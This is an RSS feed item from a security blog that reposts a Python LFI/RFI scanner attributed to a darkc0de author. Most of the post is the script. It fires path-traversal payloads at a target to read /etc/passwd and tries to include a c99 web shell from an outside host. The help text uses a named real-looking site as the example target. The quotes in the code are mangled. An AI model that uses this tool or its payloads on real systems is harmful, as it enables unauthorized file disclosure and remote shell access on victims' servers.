<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Lifedork &#187; Communication</title>
	<atom:link href="http://www.lifedork.net/tag/communication/feed" rel="self" type="application/rss+xml" />
	<link>http://www.lifedork.net</link>
	<description>still GeeX? still SuX!</description>
	<lastBuildDate>Thu, 08 Jul 2010 16:15:55 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<image>
  <link>http://www.lifedork.net</link>
  <url>http://www.lifedork.com/favicon.ico</url>
  <title>Lifedork</title>
</image>
		<item>
		<title>Local &#8211; Remote file inclusion scanner (make use of a c99 shell)</title>
		<link>http://www.lifedork.net/local-remote-file-inclusion-scanner-make-use-of-a-c99-shell.html</link>
		<comments>http://www.lifedork.net/local-remote-file-inclusion-scanner-make-use-of-a-c99-shell.html#comments</comments>
		<pubDate>Sun, 11 Jan 2009 11:24:42 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Sectools]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Communication]]></category>
		<category><![CDATA[Free]]></category>
		<category><![CDATA[HTTP]]></category>
		<category><![CDATA[HTTP 404]]></category>
		<category><![CDATA[Hypertext Transfer Protocol]]></category>
		<category><![CDATA[Scan]]></category>
		<category><![CDATA[Server]]></category>
		<category><![CDATA[TinyURL]]></category>

		<guid isPermaLink="false">http://www.lifedork.com/?p=595</guid>
		<description><![CDATA[This python script is written by baltazar from darkc0de. The purpose of this script is to perform scanning against Local and Remote file inclusion which attempts to make use of a c99 shell on a vulnerable host. This script is a kind of fast LFI and RFI scanner.
Code :
#!/usr/bin/python
# This was written for educational purpose [...]]]></description>
			<content:encoded><![CDATA[<p>This python script is written by baltazar from <strong>darkc0de</strong>. The purpose of this script is to perform <strong>scanning against Local and Remote file inclusion</strong> which attempts to make use of a <strong>c99 shell</strong> on a vulnerable host. This script is a kind of fast <strong>LFI and RFI scanner</strong>.<br />
Code :</p>
<blockquote><p>#!/usr/bin/python<br />
# This was written for educational purpose only. Use it at your own risk.<br />
# Author will be not responsible for any damage!<br />
# !!! Special greetz for my friend sinner_01 !!!<br />
# !!! Special thanx for d3hydr8 and rsauron who inspired me !!!<br />
#<br />
# In version 2 added proxy support<br />
#<br />
################################################################<br />
#       .___             __          _______       .___        #<br />
#     __| _/____ _______|  | __ ____    _      __| _/____    #<br />
#    / __ |__  \_  __   |/ // ___/  /_    / __ |/ __    #<br />
#   / /_/ | / __ |  | /    &lt;  ___  _/   / /_/   ___/   #<br />
#   ____ |(______/__|  |__|_ \_____&gt;_____  /_____|____   #<br />
#        /                  /             /                 #<br />
#                   ___________   ______  _  __                #<br />
#                 _/ ____  __ _/ __  / / /                #<br />
#                   ___|  | /  ___/     /                 #<br />
#                  ___  &gt;__|    ___  &gt;/_/                  #<br />
#      est.2007        /            /   forum.darkc0de.com   #<br />
################################################################<br />
# &#8212;  d3hydr8 &#8211; rsauron &#8211; P47r1ck &#8211; r45c4l &#8211; C1c4Tr1Z &#8211; bennu #<br />
# &#8212;  QKrun1x  &#8211; skillfaker &#8211; Croathack &#8211; Optyx &#8211; Nuclear     #<br />
# &#8212;  Eliminator and to all members of darkc0de and ljuska.org#                                                             #<br />
################################################################</p>
<p>import sys, os, time, re, urllib2, socket, httplib</p>
<p>if sys.platform == &#8216;linux&#8217; or sys.platform == &#8216;linux2&#8242;:<br />
clearing = &#8216;clear&#8217;<br />
else:<br />
clearing = &#8216;cls&#8217;<br />
os.system(clearing)</p>
<p>proxy = &#8220;None&#8221;<br />
count = 0</p>
<p>if len(sys.argv) &lt; 2 or len(sys.argv) &gt; 4:<br />
print &#8220;n|&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;|&#8221;<br />
print &#8220;| b4ltazar[@]gmail[dot]com                                      |&#8221;<br />
print &#8220;|   01/2009      LFI &amp; RFI scanner v2.0                         |&#8221;<br />
print &#8220;| Help: lfi-rfi.py -h                                           |&#8221;<br />
print &#8220;| Visit www.darkc0de.com and www.ljuska.org                     |&#8221;<br />
print &#8220;|&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;|n&#8221;<br />
sys.exit(1)</p>
<p>for arg in sys.argv:<br />
if arg == &#8216;-h&#8217; or arg == &#8216;&#8211;help&#8217; or arg == &#8216;-help&#8217;:<br />
print &#8220;n|&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-|&#8221;<br />
print &#8220;| b4ltazar[@]gmail[dot]com                                                      |&#8221;<br />
print &#8220;|   01/2009      LFI &amp; RFI scanner v2.0                                         |&#8221;<br />
print &#8220;| Usage: lfi-rfi.py www.site.com                                                |&#8221;<br />
print &#8220;| Example: lfi-rfi.py http://toscana.adiconsum.it/index.php?pagina=             |&#8221;<br />
print &#8220;| Proxy: lfi-rfi.py http://toscana.adiconsum.it/index.php?pagina= -p PROXY      |&#8221;<br />
print &#8220;| Visit www.darkc0de.com and www.ljuska.org                                     |&#8221;<br />
print &#8220;|&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-|n&#8221;<br />
sys.exit(1)<br />
elif arg == &#8216;-p&#8217;:<br />
proxy = sys.argv[count+1]<br />
count += 1</p>
<p>lfis = ["/etc/passwd%00","../etc/passwd%00","../../etc/passwd%00","../../../etc/passwd%00","../../../../etc/passwd%00","../../../../../etc/passwd%00","../../../../../../etc/passwd%00","../../../../../../../etc/passwd%00","../../../../../../../../etc/passwd%00","../../../../../../../../../etc/passwd%00","../../../../../../../../../../etc/passwd%00","../../../../../../../../../../../etc/passwd%00","../../../../../../../../../../../../etc/passwd%00","../../../../../../../../../../../../../etc/passwd%00","/etc/passwd","../etc/passwd","../../etc/passwd","../../../etc/passwd","../../../../etc/passwd","../../../../../etc/passwd","../../../../../../etc/passwd","../../../../../../../etc/passwd","../../../../../../../../etc/passwd","../../../../../../../../../etc/passwd","../../../../../../../../../../etc/passwd","../../../../../../../../../../../etc/passwd","../../../../../../../../../../../../etc/passwd","../../../../../../../../../../../../../etc/passwd"]</p>
<p>site = sys.argv[1]<br />
shell = &#8216;http://www.defcont4.hypersite.com.br/shell/c99.txt?&#8217;<br />
if site[:4] != &#8220;http&#8221;:<br />
site = &#8220;http://&#8221;+site<br />
if site[-1] != &#8220;=&#8221;:<br />
site = site + &#8220;=&#8221;</p>
<p>print &#8220;n|&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;|&#8221;<br />
print &#8220;| b4ltazar[@]gmail[dot]com                                      |&#8221;<br />
print &#8220;|   01/2009      LFI &amp; RFI scanner v2.0                         |&#8221;<br />
print &#8220;| Visit www.darkc0de.com and www.ljuska.org                     |&#8221;<br />
print &#8220;|&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;|n&#8221;<br />
print &#8220;n[-] %s&#8221; % time.strftime(&#8220;%X&#8221;)<br />
print<br />
print &#8220;-&#8221;*80<br />
print &#8220;tttChecking for LFI&#8221;<br />
print &#8220;-&#8221;*80<br />
print &#8220;n[+] Target:&#8221;,site<br />
print &#8220;[+]&#8220;,len(lfis),&#8221;LFI loaded&#8230;&#8221;<br />
print &#8220;[+] Starting Scan&#8230;n&#8221;</p>
<p>try:<br />
if proxy != &#8220;None&#8221;:<br />
print &#8220;n[+] Testing Proxy&#8230;&#8221;<br />
pr = httplib.HTTPConnection(proxy)<br />
pr.connect()<br />
print &#8220;[+] Proxy:&#8221;,proxy<br />
print &#8220;[+] Building Handler&#8221;<br />
print<br />
proxy_handler = urllib2.ProxyHandler({&#8216;http&#8217;: &#8216;http://&#8217;+proxy+&#8217;/'})<br />
else:<br />
print &#8220;n[-] Proxy not given&#8221;<br />
print<br />
proxy_handler = &#8220;&#8221;<br />
except(socket.timeout):<br />
print &#8220;n[-] Proxy Timed Out&#8221;<br />
sys.exit(1)<br />
except(),msg:<br />
print msg<br />
print &#8220;n[-] Proxy Failed&#8221;<br />
sys.exit(1)</p>
<p>for lfi in lfis:<br />
print &#8220;[+] Checking:&#8221; ,site+lfi.replace(&#8220;n&#8221;,&#8221;")<br />
print<br />
proxyfier = urllib2.build_opener(proxy_handler)<br />
try:<br />
check = proxyfier.open(site+lfi.replace(&#8220;n&#8221;, &#8220;&#8221;)).read()<br />
if re.findall(&#8220;root:x:&#8221;, check):<br />
print &#8220;[!] w00t!,w00t!: &#8220;,lfi<br />
print<br />
else:<br />
print &#8220;[-] Not Found: &#8220;,lfi<br />
print<br />
except(urllib2.HTTPError):<br />
pass<br />
except(KeyboardInterrupt, SystemExit):<br />
raise<br />
print<br />
print &#8220;-&#8221;*80<br />
print &#8220;tttChecking for RFI&#8221;<br />
print &#8220;-&#8221;*80<br />
print &#8220;n[+] Target:&#8221;,site<br />
print &#8220;[+] Starting Scan&#8230;n&#8221;</p>
<p>try:<br />
check = proxyfier.open(site+&#8217;http://www.defcont4.hypersite.com.br/shell/c99.txt?&#8217;).read()<br />
if re.findall(&#8220;c99shell&#8221;, check):<br />
print &#8220;[!] w00t!,w00t!: &#8220;,site+shell<br />
print<br />
else:<br />
print &#8220;[-] Not Found: &#8220;,site+shell<br />
print<br />
except(urllib2.HTTPError):<br />
pass<br />
except(KeyboardInterrupt, SystemExit):<br />
pass</p>
<p>print<br />
print &#8220;n[-] %s&#8221; % time.strftime(&#8220;%X&#8221;)</p></blockquote>
<p><strong>Download LFI &#8211; RFI scanner : <code>http://packetstormsecurity.org/UNIX/scanners/lfi-rfi2.txt</code></strong></p>
<h6 class="zemanta-related-title" style="font-size: 1em;">Related articles :</h6>
<ul class="zemanta-article-ul">
<li class="zemanta-article-ul-li"><a href="http://teachinglearnerswithmultipleneeds.blogspot.com/2009/01/when-web-pages-are-blocked.html">When Web Pages are Blocked</a></li>
<li class="zemanta-article-ul-li"><a href="http://web-workathome.com/gmail-is-vulnerable-to-hackers/">Gmail Is Vulnerable to Hackers</a></li>
</ul>
<div class="zemanta-pixie" style="margin-top: 10px; height: 15px;"><a class="zemanta-pixie-a" title="Zemified by Zemanta" href="http://reblog.zemanta.com/zemified/2a8454b4-ba70-4007-941b-be9dbce1a693/"><br />
</a></div>
]]></content:encoded>
			<wfw:commentRss>http://www.lifedork.net/local-remote-file-inclusion-scanner-make-use-of-a-c99-shell.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
